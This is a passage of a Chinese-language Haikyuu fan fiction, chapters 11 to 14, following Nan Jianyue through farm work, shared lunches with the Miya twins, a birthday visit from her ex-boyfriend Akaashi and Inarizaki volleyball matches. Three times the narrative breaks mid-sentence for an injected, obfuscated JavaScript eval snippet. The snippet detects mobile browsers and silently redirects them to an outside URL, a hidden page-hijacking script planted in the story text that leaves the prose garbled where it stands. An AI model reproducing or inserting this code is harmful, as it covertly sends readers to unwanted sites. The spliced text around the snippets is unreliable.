对面伸过来的手皮肤暗沉,有着潜藏着岁月的沟壑。 她递过来了一个用保鲜膜包好的饭团。 “给你吃。” 对方的态度和语气都太过亲切自然,南见月谢过之后接过,拿饭团的时候摸到了结仁衣的手心,掌纹深刻粗糙,却温暖。 不过入口的米粒温热清香,内馅是明太子和咸菜,一口咬下去非常满足。 吃完饭团,南见月再次向她道谢之后才离开休息室。 在北信介的指示下,南见月甚至学会了操作微耕机和小型锄草机。 南见月问他为什么对这些东西这么熟悉。 “留在农场的长期工人基本都是我奶奶那一辈的了,很多时候理解不了这些农业机械怎么使用,所以我会去自己研究了之后告诉他们。” “所以你以后会回来种田吗?” 北信介笑了笑,道:“可能吧。” “北前辈不喜欢排球吗。” 他帮着南见月推着锄草机,发动时的噪音掩盖住他的声音。 “……还可以吧,但我……也不会靠排球吃饭。” 南见月点了点头。 两人断断续续的聊天,南见月得知这座农场的建立最早可以追溯到江户时代,雇佣附近没有自己田地的农民为帮工进行耕种。 北信介的爷爷奶奶都曾在这里做工,虽然后面拥有了自己的土地,也会在农闲时期过来做一段时间的短工。 后来机械化农业逐渐发展,土地里的庄稼不再需要人无时无刻的照顾,他的父母那一代去了更大的城市,在外成家生子。 蓝天白云,碧草清风,他的眼睛望去是远方的山峦,低头映照出成片的农田。 说起自己是由奶奶带大的时候,他的声音更温和了几分。 人是环境之子。 养育出这样北信介这样的人,这位北奶奶是什么样的人呢…… 南见月不由得想,北前辈的奶奶一定像休息室里那位给她吃明太子咸菜饭团的那位老人一样温柔吧。 11.照烧牛肉饭团 下课铃声终于把南见月从迷蒙的精神状态里拉了出来。 她揉了揉眼睛,上课时她勉强保持着清醒,但也听得云里雾里,一下课就趴在桌子上睡觉。 一整个上午都没有离开过座位,现在只是站起来被过度使用的肌肉和筋骨像是过热的机器,抬起手臂或是伸腿迈步都向大脑传递了抵触的信号。 周末两天,她基本都在农场度过,工作简单,但全都是体力劳动,已经把她的体力槽的数值全部耗光了。 “你终于清醒了。” 略带忧郁的声音从身后传来,南见月回过头,宫侑撑着课桌,用一种非常疲惫的眼神望着她。 “……你怎么了?” 看着南见月真诚无辜的疑惑眼神,宫侑简直想抓狂。 他一早上,不,从昨天开始,就已经想好了要怎么向南见月描述自己在周末的那场练习赛中如何大展神威、威风八面…… 但一来就看见南见月趴在课桌上睡得昏天暗地,宫侑觉得自己需要矜持一点,决定等她清醒些再给她仔细讲述自己精彩绝伦的表现。 结果…… 早上四节课,三个课间,她没有一个课间是清醒的……但是宫侑有点不敢打扰她。 之前南见月不理他有一部分是因为她心情不好,自己遭受了一部分无妄之灾,所以两人“和好”的也很快。 但他有种预感,今天她是真的纯困,要是被他打扰,她绝对真要和他生气的。 补完觉终于感觉血条恢复的南见月干脆坐在了自己的桌子上,笑着道;“周末的练习赛怎么样?” 她主动问了! 宫侑兴奋地锤了一下自己的桌子,开始讲述自己精彩的表现。 “……你是不知道,他们没想到我敢用二次进攻,看见球落地的时候那个脸色简直跟打翻了的调色盘一样呢!还有还有……” 他眉宇间是飞扬的自信,带着炫耀,但并不惹人讨厌,反而像是某种打猎成功的犬科动物,抖动着胡须不住地摇着蓬松的大尾巴,想要吸引更多崇拜的目光。 听完,南见月如他所愿对他竖起了一个大拇指,“宫同学真是个厉害的二传手。” 宫侑更得意了,他凑近南见月,昂起头总结道:“你没去看练习赛真是超级大的损失。” 南见月把他的脸推远,手一撑从桌子下来站直,点头应付道:“是是是,我知道了。” 宫侑拉住她的手腕,道:“干嘛?你要走啊,我还没说完呢。” 他真的是一个很会得寸进尺的人,但被拉住的南见月今天心情还不错,也就不反感陪他浪费时间。 她干脆顺势在自己的座位上坐下,道:“你还要说什么,快说完我要去吃饭了。” 说到吃饭,宫侑瞄了一眼她挂在课桌旁的便当袋,道:“那你和我一起吃呗。” 和他一起吃? 南见月想起之前宫治说自己的便当被宫侑打翻,她可不想自己的午饭遭遇不测,摆手拒绝道:“不要。” 被拒绝的宫侑瞪大了眼睛,他拧着眉毛道:“为什么啊?” 他的眉毛太浓,眼窝也深,皱眉的时候在眼下投下一片明显的阴影,但因为不自觉抿起的嘴唇又显出毫无阴翳的孩子气。 连南见月也不自觉感叹。 宫侑这人虽然有时候烦了点,但真是…… 年轻貌美。 于是她迅速地改变了注意,道:“好了好了,我们一起吃行了吧。” 宫侑立马就开心起来了,他甚至贴心地问道:“你要喝东西吗?我请你喝饮料,你想喝什么我去买。” 南见月认真地想了想,道:“想喝气泡水,菠萝味的。” “好!” 领命成功的宫侑立刻脚下生风跑出了教室,像是怕慢一秒南见月就会反悔一样。 等到宫侑买好了菠萝味汽水回来,南见月已经拿出了自己的便当盒。 今天的午饭是由纪子做的饭团。 虽然她想自己做午餐,但被由纪子以去劳动了两天所以要好好休息的理由温柔地拒绝了。 不过偶尔吃吃奶奶做的饭也很不错啦。 “嚯!我今天的午餐也是饭团……啊!” 宫侑兴奋的声音戛然而止,“我的便当——” 他露出疑惑的豆豆眼,“我的便当呢?” 。。。。 “你不会没带吧……” 南见月有些无语,不是说忘记带便当这种事只有幼稚园的小孩才会做的吗? 但是被宫侑可怜兮兮的眼睛一看,南见月又有些心软。 她叹了口气,正准备说话,刚赶过来倚在门口的宫治终于黑着脸发话了。 “蠢侑,你的便当被妈妈塞在我包里了。” 今天早上的宫侑出门急得像是好不容易被放出栏的狗崽一样,宫妈妈怎么叫也叫不住,无奈只得让宫治帮他一起带过来。 宫治提着两个超大的便当盒走过来,目光在南见月摆在饭桌上的饭盒上一扫而过。 把便当盒毫不客气地扔在宫侑怀里之后,宫治勾起唇角显出一个……看起来不太真心的笑容:“你们要一起吃饭吗?” 南见月点了点头,宫治立刻拉过旁边的椅子,面对着南见月坐了下来,温和地道:“我和你一起吧。” 眼见着宫治坐在了南见月手边,宫侑立刻不乐意了,哼了一声道:“你为什么要和我们一起吃饭。” 宫治则表情不变,道:“我只是想和她一起吃又不是和你一起,也不需要得到你的同意吧。” 南见月在这边小小地欣赏了一下宫双子的斗嘴,一不留意就引火上身了,对上两个人看过来的眼睛,南见月无奈地道:“那就一起吃吧。” 两人又互掐了对方几句,但大局已定,只能乖巧地一左一右坐在南见月两边。 说来也巧,三人今天的午饭都是饭团。 不过南见月是三个小小的饭团,他们两人则分别是三个巨无霸版饭团, 在周围的高中生中,南见月的食量算是中等偏大的,所以由纪子也会按着她的食量准备午餐。 今天是照烧牛肉饭团。 由纪子知道南见月比起米饭之类的主食更爱吃肉,也不喜欢没有味道的米饭,所以做的并不是包馅儿的饭团,而是将所有的原料混合起来之后再捏成饭团。 照烧口味是南见月喜欢的,牛肉是南见月喜欢的,还按照她的口味减少了海苔和寿司醋的用量。 牛肉切成小块之后加入照烧汁和其他调味料煎熟,与煮熟的胡萝卜碎、海苔碎、芝麻一起倒进煮好的米饭里,再按照口味加入寿司醋和沙拉酱拌匀。 由纪子估计 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15384971|166362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了南见月的饭量,捏好了三个形状漂亮的饭团,用生菜垫着装在了饭盒里,旁边还有煎熟的香肠。 照例依旧有切好的时令水果,最后一层则是烤好的黄油饼干作为饭后甜点。 “好漂亮的便当。” 听见宫治的夸奖,南见月笑了笑,语气中带着一丝不易察觉的自豪和炫耀,道:“是我奶奶做的。” 宫治笑了笑,指着自己饭盒里,道:“要尝尝看吗,我妈妈做的厚蛋烧超级好吃。” 闻言,南见月看了过去,宫治饭盒里的厚蛋烧色泽鲜亮金黄,切面处能看到红白色的蟹柳,上面还用红色的番茄酱画了可爱的笑脸。 看起来确实很好吃的样子。 “……那我用香肠和你换。” 宫治点头,把自己的便当盒向前推了推,做出了一个请用的手势。 一边的宫侑见她和他三言两语间就决定好了要交换食物,他心里有一种说不出来的感觉。 或许是为了吸引两人的注意力,他又开始嚷嚷,“我也要和你交换!” 宫治和南见月交换了一个无奈的眼神,确认了这个宫侑的心理年龄只有五岁不能再多了。 无奈再次交换一次之后,三人开始吃饭。 话说为什么宫侑不能再自己的桌子上吃,本来来了一个宫治已经挤占了她的空间了,但是宫侑硬要过来坐在她另一边吃。 南见月觉得就算让他过去,这个人也会厚着脸皮装听不见或者开始撒泼,综合考虑之下还是决定忍气吞声开始吃饭。 吃饭的时候,宫治也说起了周末时的练习赛。 “西宫一高的王牌有一米九呢!但是接球太烂了……” Ace! 南见月被勾起了兴趣,她吞下一颗去了核的樱桃,问道:“诶?那你们部里的王牌是个什么样的人,话说王牌都是主攻手吧……真的是个很帅气的位置啊。” 宫治拧了拧眉,他曾经在走廊听到南见月与朋友们的谈话,她说过喜欢自己扣球时的样子,当时他只顾着为这句话感到高兴,但现在想起来……她说的后一句话其实是—— 【我的意思是我更喜欢主攻手,王牌队员。】 那个时候,她在意的也不是“宫治”,而是“主攻手”、“王牌”。 而易燃易爆炸的宫侑直接转过头开始质问: “你就那么喜欢王牌吗?!明明二传手才是最帅的位置好不好!果然你就应该去看我们上周末那场练习赛,我作为二传手简直是大杀四方好吗!” 南见月叹息一声,敷衍地点头,和心理年龄只有五岁的某人争论这种问题是没有意义的。 不过王牌…… 南见月想起记忆中那个人。 那个人想要成为的那种人、赤苇京治想要为之传球的那种人,应该是球队里最闪耀、最重要的人吧? 面前两张相似的脸上是相似的不高兴,被两人注视着的南见月思考了下,道:“你们下次可以观赛的练习赛是什么时候,我想去看。” 宫侑宫治对视一眼,眯起眼睛交换了一个相同的信息。 两人陡然沉默起来,但南见月已经垂下头开始专心吃饭了。 【她想去看的是王牌】 她所在意的,既不是宫侑,也不是宫治。 王牌到底有什么好的? 12.巴旦木和花生 时间很快来到黄金周放假的前一天。 南见月和桃濑雪菜做完值日才发现宫双子站在教室门外,“诶?” 听到她的声音,两张一模一样的池面脸看了过来。 跟出来的桃濑雪菜了然于胸,她拍了拍南见月的肩膀,露出了一个鼓励的眼神,然后就拿出了自己身为田径部部员的速度撤离现场。 不是,你在鼓励些什么啊? “你们不去部活吗?” 不说宫治,宫侑这家伙绝对是对排球爱得深沉的那一类,每次放学就立刻冲去参加部活,就算有时候露出的手臂上都是淤青也依旧如此。 宫治走上前来解释道“明天就是黄金周的假期,部里要进行合宿,所以今天没有部活。” 宫侑则道出了他们的来意,“假期的最后两天有县民体育大会吗,我们会上场,你会来看吗?” 县民体育大会有高中排球的比赛,县内的高中排球部基本都会参赛,也是提前了解6月的Inter High要面对的对手。 反正假期除了去农场也没什么事,南见月便点了点头,道:“如果有空的话我会去看的。” 虽然她没有一口应下,但宫侑还是立刻就露出了笑容, 【等她看到了我的比赛,一定会知道,我这个二传手,比王牌要帅气百倍。】 他在心里坚定地想。 没有人看到球场上的宫侑会移开目光的。 “那我先走了?” 宫治立刻道:“我送你回去。” “不用了吧……” 不仅拒绝无效,一个宫治不够,还带着一个宫侑。 南见月被他们一左一右地夹着,她的肩膀被挤得擦着他们的手臂,低着头在众多八卦的目光之下走出了校门。 无语。 —— 比县民体育大赛更早到来的,是赤苇京治的电话。 这是两人分手之后,南见月第一次接到他的电话。 “我刚买好了车票,我想来见你。” 南见月静静地听着从手机传来的声音。 “我想亲口对你说生日祝福。” 她叹了口气,冷不丁地打断了他的话:“如果我不见你,你不就是白跑一趟吗?你知道我很讨厌这种突然决定的行程吧……” 赤苇京治似乎在那边低声笑了笑,他的语气更加柔和,“因为是今天早上睁开眼睛的时候还是觉得不能不来,很抱歉没跟你提前打招呼,不过还是见我一下吧,我带了你最喜欢吃的那家巧克力饼干。” “……我来接你就是了。” “看在巧克力饼干的份上。” 下午一点要去看县民大赛的比赛,十点要到车站接赤苇京治,看来午饭也得在外面吃了。 前一天因为熬夜通关新游戏三点才睡的南见月面无表情地离开床铺,开始洗漱和挑衣服。 南见月喜欢的那家甜品店里有两种巧克力饼干,一种是巴旦木碎,一种是花生碎。 她喜欢换着口味吃,离开东京吃的最后一次是花生的。赤苇京治如果记得,这次应该给她买巴旦木的。 但是今天她两种口味都想吃,如果他买错了或是没买全…… 随随便便就热血上头来兵库见她,就要做好被挑剔的准备。 南见月是来接人的,但她实在是太困了。 所以感觉到身边有一份熟悉的气息接近的时候,她的头顺势一歪,倒在了熟悉的肩膀上。 赤苇京治看见了她眼下的青黑,无奈地猜到她肯定又熬夜了。 虽然他没叫她,但南见月放任自己靠了几分钟之后又撑着睁开了眼睛。 “走。” 两人并肩站起来的时候南见月才发现他又长高了好多。 精神不济的时候连走路都无法抬头挺胸,所以南见月拽过赤苇京治的手臂闷头往前走。 这样让赤苇想起了以前,南见月喜欢玩手机,也喜欢看漫画,为了走路的时候也能不用抬头,她就会像现在这样挽着自己的胳膊,把引导方向的任务完全地交给他。 南见月一边走路一边打瞌睡,赤苇京治一边看路一边看南见月。 终于到了附近的一家餐厅,直到两人面对面坐下,赤苇京治才看见她的正脸。 今天她的头发被编成了可爱的发型,但不像她自己的手法。 刚刚一起走的时候也感觉她长高了些,而且虽然因为熬夜显得有些萎靡,还是能看出来脸颊丰润了些。 看来是有被祖父母静心照料着的呢。 明天才是南见月的生日,赤苇打算在这里待到明天晚上。 他只带了一个背包,里面除了一套换洗衣物和基本的洗漱用品之外,都是给南见月带的东西。 她想吃的那家巧克力饼干,两个口味赤苇都买了。 被南见月亲口认证过是“完美恋人”的人,怎么会害怕被挑剔呢。 吃着饼干,南见月看着正在盯着她出神的赤苇京治有些疑惑,“怎么了?” 赤苇京治给她倒了一杯大麦茶,道:“我在想……人果然是在接近幸福的时候最幸福。” “刚刚在路上的时候,没有见到你之前,我想着见到你就很幸福了,可是见到了你,我幸福的同时又在想着,我能和你待在一起多久。” 南见月愣了愣。 赤苇京治坐到她这边,像之前一样轻柔地摸了摸南见月的脸颊,又忍不住亲了亲她垂下的睫毛。 温热的嘴唇轻柔地点过眼皮和下眼睑,南见月有些庆幸自己在两个月前跟赤苇京治分手了。 要是多谈几个月,说不定这家伙真的会让她无法抽身的。 但这个世界上是不会有永远不变的感情的。 尤其是爱情。 更何况他才十几岁,十几岁的小孩分分合合再正常不过了。 遇见她算他倒霉。 怀揣着这份微薄的、莫名其妙的愧疚,当赤苇京治提出要和南见月一起去看县民大赛的时候,她便没有拒绝。 不过他提出的牵手的请求,南见月严词拒绝了。 “不准牵。” 赤苇京治无奈,只得跟在她身后进了场馆。 他们两个吃饭耽误了些时间,进场的时候已经到了第二局的终盘了。 场上的队员有三位都是南见月认识的。 宫侑、宫治、角名伦太郎。 左路的主攻是一位身材高大的……是黑人吗? 那位穿着异色球服的小个子选手应该是自由人吧? 还有一位个子很高的队员,看样子应该是副攻手。 不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15404087|166362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得不说,球场上的宫侑真的像个耀眼的发光体。 南见月专注地看着他行云流水般的传球的动作。 而同为二传手,赤苇京治也注意到了他,然后是南见月看他的目光。 “……他是?” 最后一击是宫治传出的球,由宫侑扣下拿到分数。 比赛结束,随着哨声,南见月听见他的轻声诘问。 南见月转头看他,道:“新学校的新目标喔。” 她的语气如春风拂面,却让他的心如坠冰窖。 —— 等到今天下午的两局比赛都结束,稻荷崎的男子排球部将参加明天的决赛。 不过南见月不需要准备什么,所以她只是只是对上场内宫双子们的目光之后,点了点头就准备走了。 宫侑原本兴高采烈的眼睛看到她身后与她站得极近的赤苇京治之后就沉了下来。 “不是,那家伙是谁啊?” 角名伦太郎也收回目光,瞟了宫侑一眼,心道:那个黑头发的少年看起来可比宫侑可靠多了。 这边南见月刚出排球馆,那边的宫侑的电话后脚就打过来了。 无论球场上的宫侑有多耀眼,也没办法改变他在场下就是这样一个坦率的小气鬼。 因为知道他打电话的目的,所以南见月觉得好麻烦。 南见月知道宫侑看见京治了,但是—— 跟暧昧对象解释自己和前男友一起来看他的比赛这种事…… 有什么好解释的? “不接吗?” 南见月点点头,“他有时候还挺烦人的。” 但赤苇京治看见南见月挂断电话之后却发过去了一条信息。 【有事不方便接,比赛很棒,继续加油。】 “好了,现在是你了。” 南见月转头看他,道:“京治,爷爷今天说要试新菜,我晚上要回家吃饭,不能和你一起吃晚饭喔。” 赤苇京治低头看他,他如今应该有一米八了,南见月看他的时候都要抬头。 这个角度,她能很清楚地看见他的嘴角很轻微向下的弧度,连眼睛也垂下来不再落在她脸上。 赤苇京治没回复她,而是接着问道: “6月有IH,我或许会上场,见月会来看吗?” 南见月点了点头,道:“会来。” 但不光去看赤苇京治,她还要去赴一个或许只有自己记得的约定。 南见月想起那张被自己夹在日记本里的纸条。 她记得很清楚,因为她曾无数次把纸条与课文相对照,试图找出最相似的文字。 【…………】 【来年6月にIH………参加………、私の試合…………,新……ACE………頑張……】 【03—6…3—…57—8…】 被雨水洇湿了的字迹模糊不清,无论后面她怎么努力的学习片假名和平假名,也始终没办法完整地分辨出来他的和他留下来的那句话。 就连那串电话号码,也不多不少地模糊了三位数字,让她没办法联系到对方。 发觉她在发呆,赤苇京治没有打扰她,只是扯着她的小臂,带着她避过前方可能会绊倒她的障碍物。 无论怎么样,起码南见月不会不接他的电话。 13.可可戚风蛋糕 赤苇京治一路将南见月送回了家,他们聊起明天的计划。 “明天晚上啊……也要回家喔,爷爷奶奶说要一起给我庆祝生日。” “那我们约早上好吗?我想和你一起去做蛋糕。” 做蛋糕? 南见月有些疑惑,“在哪里做啊?” 赤苇京治道:“我联系了一家烹饪教室,明天的八点到下午两点,我们都可以自由使用。” 八点…… 南见月有些犹豫,“可是那样要起好早诶?” 赤苇京治拉起她的手晃了晃,低着头靠近她问道:“我明天下午就必须要回去了,见月,我想和你多待一会儿,我们早一点见面好吗?” 反正最后南见月迷迷糊糊地就答应了。 所以第二天七点半的闹钟响起的时候她真的很后悔。 果然在假期的八点起床还是太早了吧。 由纪子知道她今天早上有约会,所以提早就准备好了早餐。 南见月没什么食欲,只是简单吃了两片吐司就出门了。 转过街角,赤苇京治就在对面等她。 他今天绝对仔细地打扮过。 虽然在一起的时候他无论是穿校服还是穿常服都一丝不苟,笔挺整洁。但今天的他鲜少地穿了件颜色鲜亮的钴蓝色薄马甲,里面是洁白的衬衫。 而且居然还久违地戴上了一副黑框眼镜,那双绿宝石般的眼睛不会被透明的镜片遮住,但会让人有想要摘下它的欲望。 取下眼镜,两人相接的目光便不会再有任何的阻碍,或是能够更顺利地做些其他的事。 总之,大概是没有分手之前他们走在一起,南见月会选择不玩手机,而是盯着他看的程度。 看到南见月现在也目不转睛地看着自己,赤苇京治微笑着牵起她的手,道:“我们走吧。” 幸而烹饪教室不远,赤苇京治和南见月在楼下的商超买好了材料,上了楼就是了。 这个教室应该是短期烹饪培训使用的,整洁明亮,台面上铺着明黄色的小碎花桌布和隔水垫。 电子秤、量杯、量勺、测温计……一样不少。 “好了,我来看看第一步是什么。” 赤苇京治从包里取出一张手写的纸,南见月疑惑地看过去,发现是自己的笔迹。 那时候她的日语还不算好,字迹幼稚,甚至还有好几个错别字。 在杜中学上学的时候,家政课有要做戚风蛋糕的时候,她给不同班的赤苇京治写的配方。 南见月的眼神柔和了些,她没想到这张小单子他还留着。 因为要考虑到南见月的口味,赤苇京治打算做可可戚风蛋糕,南见月看了看自己以前写的原味戚风蛋糕的配方思考了一下。 她拿起一边的铅笔,添了几条注意事项,犹豫了一下还是把之前写的错别字涂掉了。 赤苇京治笑着接过。 所有的西式糕点都有着简单而标准的步骤,即便是新手,只要不灵机一动,严格按照流程去制作一般都不会难吃到哪里去。 更何况是敏而好学、一丝不苟的赤苇京治。 准备材料、混合材料、搅拌材料……他都做得又快又好。 南见月在一旁一边打哈欠一边帮他挤柠檬汁。 直到送进烤箱。 因为只有她和赤苇两个人吃,所以只做了个小小的4寸蛋糕。 把蛋糕糊送进烤箱,赤苇京治转身看着坐在一旁的南见月,她用手撑着侧脸靠在一边,闭着眼睛、呼吸清浅,已经在不知道什么时候睡着了。 他摘下眼镜靠过去,南见月闻到了一丝甜蜜的黄油和牛奶的香气,睁开了眼睛。 入目便是一双深邃的绿眼睛。 模糊的视野里,南见月能看见他望过来时轻颤的睫毛,还有抿紧的淡粉色唇瓣。 “京治……” “嗯?” 刚凑过来看她的赤苇京治就这样被她直勾勾地看着,脸颊上浮出一层不明显的红意,他挪动脚步想往后退,肩膀却被南见月按住。 “想接吻吗?” 疑问句没有上扬询问,半睡半醒的黏糊语气听起来像是热恋中的甜蜜,而他此时面对的无疑是邀请。 “这个气氛很适合接吻吧,你还摘了眼镜……” 剩余的话语被吞没在两人相接的唇瓣中。 等到赤苇京治放开她已然红肿的唇时,南见月还在想着过去。 他们第一次接吻是在冬天,两人都裹着厚厚的围巾,但贴在一起的脸颊和唇都是柔软又温暖的。 此时的赤苇京治仍然拥着南见月,他埋在她的颈窝里,两人都没有说话,似乎都担心破坏此时的美好气氛。 南见月想要回想起去年冬天她和赤苇约定的开春行程,但因为已经过去很久了,记忆模糊得像是春回大地时的残雪转瞬即逝。 想不起来…… 撑着精神又想了会,但无论再怎么思考都没有头绪,南见月干脆自暴自弃地靠在赤苇的手臂上闭着眼睛继续睡觉。 等到赤苇京治再次感受到平稳的呼吸,她已经陷入了回笼觉的梦境。 但或许是在想些什么,眉头拧成了一个浅浅的结。 “你还是……” 像之前一样,明明心里想了很多事情,却总是不愿意说出来。 她的头发又长长了,如乌云般拢成一团,似乎是压在他的心上。 脑中自有千头万绪,但他还是收起了那一丝失望,赤苇京治沉默着换了个让她更舒适的姿势在她身边坐了下来。 等到南见月睡了一个饱足的回笼觉清醒过来,蛋糕也烤好了。 蓬松暄软的蛋糕胚一拿出来就散发着香甜微苦的醇厚香味,接下来的工作就很简单了,将从烤箱里拿出来的蛋糕胚拿出来倒扣放凉。 等待脱模的这段时间准备奶油、夹心和水果就刚刚好。 夹心是焦糖饼干碎和草莓,抹面的过程也由赤苇京治不算完美、差强人意地完成了。 裱花……嗯…… 南见月接过抹刀,把他裱的那朵四不像奶油花铲平了,自己开始裱花。 赤苇京治虽然会做饭,也会做一些特定类型的甜品,但实在是没什么艺术天赋。 为了蛋糕的整体完成度着想,他顺从地把裱花袋递给了南见月,随后就站在一旁。 他看着南见月的微微躬身,捏着裱花袋的手微微用力,调好口味的奶油就变成了一圈均匀漂亮的花边。 裱好花边,南见月对赤苇京治扬了扬下巴,他便会意地将一盘洗好的草莓端了过来。 经过两人一番 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15433961|166362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仔细的研究,他们挑选了其中最好看、大小最均匀合适的八颗草莓仔细地摆放在蛋糕上。 筛上糖粉,插上两片夹心剩下的焦糖饼干和装饰的薄荷叶,这个凝聚了两人心血的巧克力蛋糕就做好了。 赤苇京治还买好了生日帽和蜡烛,他拉好了窗帘又关了灯,等到南见月吹了蜡烛许了愿。 生日愿望对长大了的南见月来说已经不是非常重要的存在了,但看着特意从东京赶过来,一早上忙上忙下的赤苇京治,她也实在说不出破坏气氛的话。 最终,在赤苇京治的注视下,南见月闭上眼睛吹灭了蜡烛,并许下了愿望。 巧克力奶油的调味稍稍有些甜,南见月只吃了一块就吃不下了,剩余的四分之三都被赤苇包圆了。 也幸好一开始就没有做很大,不然还挺麻烦的。 吃完蛋糕休息了会,赤苇京治把准备好了的礼物递给了她。 “那我打开了喔。” “嗯。” 拆开漂亮的包装,里面是前段时间新发售的游戏机,甚至旁边还配了几套热门游戏的卡带。 南见月确实很喜欢,但是她清楚这个机型刚发售,因为供不应求所以价格被炒到虚高的程度,旁边的卡带也不算便宜…… “这个……” 赤苇京治把盒子盖住塞进她怀里,道:“游戏机和卡带都是我麻烦叔叔提前给我预留的,正常价格买到的,你放心。” “比起其他,今天你开心才是最重要的事情。” 南见月摸了摸他的头发,道:“谢谢京治。” 两人分开不过两个月,但赤苇京治说起在枭谷排球部里的生活却让南见月感觉到了和以前很大的差异。 他虽然从前也是认认真真地完成训练,但却远没有现在这样的重视。 听到他提起队伍里的王牌的时候,南见月问道:“是我们去年在体育馆看到的那位12号吗?” 赤苇京治点了点头,道:“是的,那位12号,也就是木兔前辈,现在已经是7号了,是二年级生。” 他垂头去看自己的手掌,“虽然我仍然不觉得自己能够完完全全地发挥出攻手的实力,但如果是木兔前辈的话,或许能给我很多不一样的机会,或许我们能一起打进全国大赛,或许……” 南见月定定地看了他很久,久到赤苇京治都忍不住拉了拉她的手臂确认什么情况。 但她却笑了笑,然后感叹似的说道:“京治,你真的变了好多。” “……以前我总觉得你和我很像,每件该做的事都会去做,大多数时候靠着认真也能够做到不错的成绩,但并不抱着一种一定要做到最好的雄心壮志。当然时至今日我仍然没有我感兴趣的事,所以我能够比你自己更清楚地发现这一点——” 南见月摸了摸他掌心里因为长年累月的托球而长出来的薄茧,垂着头道:“你有了能和你站在一起努力的伙伴,还有了拼上勇气和努力想要去实现的目标——这真是太好啦!” “是吗?你这么觉得吗?” 赤苇京治虽然是在提问,但他的脸上却带着豁然开朗的笑意。 两人对视着,最终还是赤苇先靠了过来,他轻轻吻了吻那双看着他不躲不闪的琥珀色眼睛,道:“那就尽力去做好了——” “鞠躬尽瘁。” 14.巧克力 送赤苇京治去车站的时候电话一直在响铃,虽然一直没接通,但来电的人似乎是个执拗性子,一直也没挂断。 南见月有些头疼,但还是接了起来。 “喂?” 宫侑的大嗓门直接从听筒里传了出来,震耳欲聋,掷地有声。 “你怎么还不来啊?” “我们马上就要上场了!” “快来看我最帅二传的英姿啊!” 南见月拿他没办法,只得说有点事情耽误了,解决了就马上过去。 赤苇京治静静地站在一旁听她跟手机里的另一个男生说话,直到南见月挂断电话,仿佛失去了所有的力气一般叹了口气。 她把手机放回包里,下意识靠在了赤苇的肩膀上,“好累。” 赤苇摸了摸她的头,道:“累就休息。” “嗯,知道了。” 但是如果就这样不去看决赛的话,估计收假之后宫侑又要开始耍小孩子脾气了。 而且,她还蛮想去看看稻荷崎能不能拿下冠军的。 “车要来了,我要走了。” 南见月抱了抱赤苇京治,“那你一路顺风。” “如果要回东京了,记得要联系我,好吗?” 南见月点了点头。 赤苇京治舍不得她,又小心翼翼地抱了抱她,直到广播催促才离开。 —— 赶到会场的时候刚好赶上了第三局。 南见月看了看前面的记分牌,目前是稻荷崎领先。 场上的队员和昨天看到的一样,但她在候场区看到了北信介。 他站在角落,目光平和又专注,让人觉得他应该是端坐在神社里垂目看人间,而不是在吵闹的球场上作为替补。 昨天就注意到了,稻荷崎的应援队。 还有吹奏部。 南见月神色微妙地看了眼秩序凛然正在吹奏的那群人。 小号、长号、圆号、中音号…… 训练有素,气势惊人。 难怪稻荷崎的吹奏部全国闻名呢。 当时听桃濑雪菜说过,不仅是县民大会,如果稻荷崎的体育社团中有打进全国大赛的话,吹奏部也会一起过去应援的。 随着热烈的掌声和应援曲的再次响起,南见月看向场内,宫侑迅速而准确地将球传出,那位肤色很黑的王牌又重重扣下一球得分。 他正与高举起手的宫侑击掌。 来看稻荷崎的很多都是附近街道或者已经毕业的前辈们,但并不只为稻荷崎的队员加油喝彩。 如果对手一方表现精彩,这些观众也不吝啬于鼓掌和夸赞。 南见月听着后方时不时传来的分析声和喝彩声,认真地看起了比赛。 稻荷崎不愧是全国大赛的常客,整体实力极强。 初中时期便极具名气的宫双子,到了高中仍然配合默契,虽然也有冲动激进的时刻,但成长空间巨大,实力毋庸置疑。 让南见月惊艳的则是另一人。 角名伦太郎。 昨天的比赛他后面被换了下去,但今天几乎是全程在场。 这人是怎么做到能够在空中也能大幅度转体扣球的? 扭动腰部,运用躯干的力量横向增大扣球范围,视对面的拦网于无物。 南见月忍不住盯着刚落下站定他猛瞧,能在空中定住,还能瞬间改变扣球姿势,这个核心力量和身体协调性。 啧—— 这个样子…… 双眼微眯,紧盯对面,双手举起在面前作出预备拦网的手势。 好像某种准备捕猎的大脸盘狐狸。 当然最后是毫无悬念的赢了。 比赛结束之后是致谢应援,南见月对上了宫侑看过来的期待眼神。 犹豫了一下,南见月举起右手给他比了个大拇指。 颁奖仪式什么的冗长又无聊,南见月有点想回去了。 但宫治在上场前传了信息给她,让她如果不急回的话在结束之后等他一下,他有东西要给她。 散场之后南见月没马上走,她在大厅外的长廊等了一会儿。 没多久就有人过来了。 但不是宫治。 